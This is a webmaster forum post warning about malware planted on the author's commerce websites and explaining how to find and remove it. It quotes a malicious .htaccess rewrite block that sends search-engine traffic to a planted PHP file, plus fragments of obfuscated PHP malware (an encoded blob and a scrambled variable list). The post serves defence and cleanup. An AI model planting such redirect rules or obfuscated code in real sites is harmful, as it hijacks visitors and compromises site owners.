No announcement yet.

Suspicious redirect .php and .htaccess files BEWARE MALWARE

  • Filter
  • Time
  • Show
Clear All
new posts

  • Suspicious redirect .php and .htaccess files BEWARE MALWARE

    Fortunately not in modeeworld, but for three other commerce websites that I have, I found suspicious .php and .htaccess files that were apparently redirecting people from my websites to who knows where.

    The .php files were named:


    "Inclusion-b*i*t*c*h" was the first one I noticed, which was clearly a file that did not belong in my directory - the name gave it right away. There are dwsync.xml files that are legitimate, but the two dwsync php files noted above in my directories were not legitimate.

    Their basic M.O. is to upload various malicious php files to different places on your site, and then create a malicious new htaccess file with a redirect that references the malicious phps. Interestingly, and baffingly, their malicious files appear to have been uploaded on the same day, maybe same exact second, as the uploads I did with Dreamweaver to update the sites in the first place.

    The solution in this instance was to of course delete all of the malicious php files, but also in this case the .htaccess files too - because this was not a situation where the .htaccess has been altered, but rather created entirely. For the most part, forum directories need .htaccess files (which are sometimes used to modify the URLs to SEO friendly versions) but regular website directories do not, unless something special is going on, such as setting the PhP version for that directory.

    The type of code I found in the .htaccess files, was, for example:

    RewriteEngine On

    RewriteCond %{ENV:REDIRECT_STATUS} 200
    RewriteRule ^ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
    RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
    RewriteRule ^(.*)$ inclusion-b*i*t*c*h.php?$1 [L]

    and the type of code I found inside the .php files was, like this:

    CJkQCK0wegkCdvJGJoAiZplQCJkgCNsTM9U2ckkSKdBiISVkUF ZURS9FUURFSislUFZlUFN1XkAEIsISaj02bj5CXu9Gb5JWYixX bvNmLcVmZhNWek5WYoxXbvNmLch2YyFWZzJWZ3lXb812bj5CX3 92d8RXZu5CXyVGdyFGajxXbvNmLcRXa1RmbvNGfv9GahlHfoNm chV2c8FGdzlmdhRHbhxXbvNmLcx2bhxXbvNmLct2chxXbvNmLc 52ctxXbvNmLcd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oQD7kCZtNGJoMWZ4V2XsxWZoNHIv h2YllQCJkQCK0wOiQ3cvhWNk1GJuAiZy1CItJHI7gGdhBHctRH JgQ2Yi0DZtNGJJkQCJkgCNsXK

    or this:

    $fireplace = 'aH(e)vtS';$expended= 'R';$contesting= '_';$lombard= '_';$lapel = 'i_$Pf';$bandgap= 'i';$ballgown= 'eP"eLgVT'; $exaltation= 'o]Iia"rr'; $joanie= 'i';$jigga= '_]"s[';$humorer = 'gOO^cpT,'; $eadmund='yfgve'; $contemplative ='n';$gillan ='"'; $lusts='Te_';$endomorphism = 'R)_CY"';$anion= '?odQaP='; $appealer='b'; $letti ='ItPQ'; $beard= '"';
    $billowed = 'r';$centennial ='i'; $flap = 'J'; $buttress= 'G';$dowager= 'o'; $linemen ='gan)ac';$lacrosse= 'WUAvENo';$lorin='r';$dejectedly='_N(Oel)Se';

    $graphing = ')';$depressible = '('; $etcpasswd = 'n'; $lamond= 'Kr)'; $florrie ='c';$inexorably ='O';

    $auscultations ='o'; $leeann= 'a';$insistent= ':';$electrocuting = ']';

    $hazy = ' s6Eorre';$dialects='f'; $elapsed= 'p$)uieo[';$entreaty='O4M)e'; $besetting = 'd';$expertly='A';$inconsiderate='Ua$plr;e)'; $atrophy= 'r';
    $handhold = '`';$bit =']'; $granule= 'e';$bramble= 's'; $happily ='['; $ennoble ='E';$banishing='i_Z((nHa$'; $jug='i';$commercialness ='K';$commemorated= ']tNhG,'; $bufferrer= 'ea";$iX'; $critic= 'T';$cleanup = 'rE[_V'; $indoctrinates = 'e';$karita ='s';$fairy ='sd[md:t';

    $euphemism= '$';$fatuous= 'u';$comments= 'p';

    etc. etc.

    Basically, it is a good idea to scan carefully the files in your website directories every now and then. Look for odd named files, or files that do not belong with the others - for example php files that are placed inside image folders. Take a look at the code inside these suspect files, and if it appears like meaningless jumbled numbers and letters or long strings of unrelated words, chances are these files are malicious. And then look for newly created .htaccess files or look inside legitimate .htaccess files for redirect or other code that references these malicious php files. Once you find one malicious file, note its upload date - you'll usually find that all other malware was uploaded at the exact same date and time.

    You may also reference back to the virgin files that make up your websites - that should be on your computer somewhere, and compare the lists of files on your local computer with those that are hosted up in your website directory. You may also want to download these suspect files, first noting exactly where they came from, to a safe folder on your computer, before deleting them off the server. That way, if you inadvertently delete a needed file that upsets the workings of your website or forum, you may re-upload it.

    But for the most part, once you start finding these malicious files, you will not have such a problem finding them all, and determining that they are in fact malicious.
    Please read the forum rules before you post.

    And if you need extra help:
    Modee Tech Support